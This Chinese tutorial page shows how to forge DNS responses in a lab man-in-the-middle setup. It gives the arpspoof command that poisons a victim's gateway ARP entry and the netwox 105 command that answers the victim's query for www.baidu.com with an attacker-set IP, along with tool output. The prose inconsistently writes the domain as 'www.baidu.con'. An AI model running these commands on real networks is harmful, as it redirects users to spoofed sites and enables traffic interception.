首页 > 编程笔记 > TCP/IP笔记 阅读:22

如何伪造DNS响应?

在中间人攻击中,当用户访问特定的网站,可以通过伪造 DNS 响应,将用户引导到一个虚假的网站。netwox 工具提供的编号为 105 的模块,可以用来伪造 DNS 响应包。

【实例】已知主机 A 的 IP 地址为 192.168.59.133,主机 B 的 IP 地址为 192.168.59.135。下面介绍主机 A 对主机 B 实施 ARP 攻击,在主机 A 上监听主机 B 的 DNS 请求,并伪造 DNS 响应。

1) 主机 A 对主机 B 实施 ARP 攻击,执行命令如下:

root@daxueba:~# arpspoof -i eth0 -t 192.168.59.135 192.168.59.2

该命令表示对主机 B 实施 ARP 攻击,伪造的是网关 192.168.59.2。执行命令后输出信息如下:

0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
···    #省略其他信息

上述输出信息表示成功发起了 ARP 攻击,使主机 B 认为网关 192.168.59.2 的 MAC 地址为 00:0c:29:fd:de:b8(实施攻击的主机 A 的 MAC 地址)。

2) 在主机 A 上监听主机 B 的 DNS 请求包,并伪造 DNS 响应,使其返回指定的 DNS 响应。

例如,设置 DNS 响应包域名 www.baidu.con (http://www.baidu.con) 对应的 IP 地址为 101.102.103.104,权威名称服务器 123.baidu.com 对应的 IP 地址为 55.66.77.88。执行命令如下:

root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88

执行命令后,没有输出信息。因为主机 B 没有产生 DNS 请求。

3) 当主机 B 上产生了 DNS 请求,该请求将会被主机 A 监听到,并返回设置的 DNS 响应包的信息。

例如,当主机 B 访问 www.baidu.con (http://www.baidu.con),主机 A 监听并返回的 DNS 响应如下:
root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88
DNS_question_______________________________________________.      #DNS请求
| id=22684  rcode=OK             opcode=QUERY                         |
| aa=0 tr=0 rd=1 ra=0  quest=1  answer=0  auth=0  add=0               |
| www.baidu.com. A                                                    |
|__________________________________________________________           |
DNS_answer________________________________________________.      #DNS响应
| id=22684  rcode=OK             opcode=QUERY                         |
| aa=1 tr=0 rd=1 ra=1  quest=1  answer=1  auth=1  add=1               |
| www.baidu.com. A                                                    |
| www.baidu.com. A 10 101.102.103.104                                 |
| 123.baidu.com. NS 10 123.baidu.com.                                 |
| 123.baidu.com. A 10 55.66.77.88                                     |
|__________________________________________________________           |
其中,DNS_question 部分为监听到的主机 B 发送的 www.baidu.com (http://www.baidu.com) 的 DNS 请求包信息,DNS_answer 部分为主机 A 伪造的 DNS 响应信息,成功返给了主机 B。

编程帮,一个分享编程知识的公众号。跟着站长一起学习,每天都有进步。

通俗易懂,深入浅出,一篇文章只讲一个知识点。

文章不深奥,不需要钻研,在公交、在地铁、在厕所都可以阅读,随时随地涨姿势。

文章不涉及代码,不烧脑细胞,人人都可以学习。

当你决定关注「编程帮」,你已然超越了90%的程序员!

编程帮二维码
微信扫描二维码关注

所有教程

优秀文章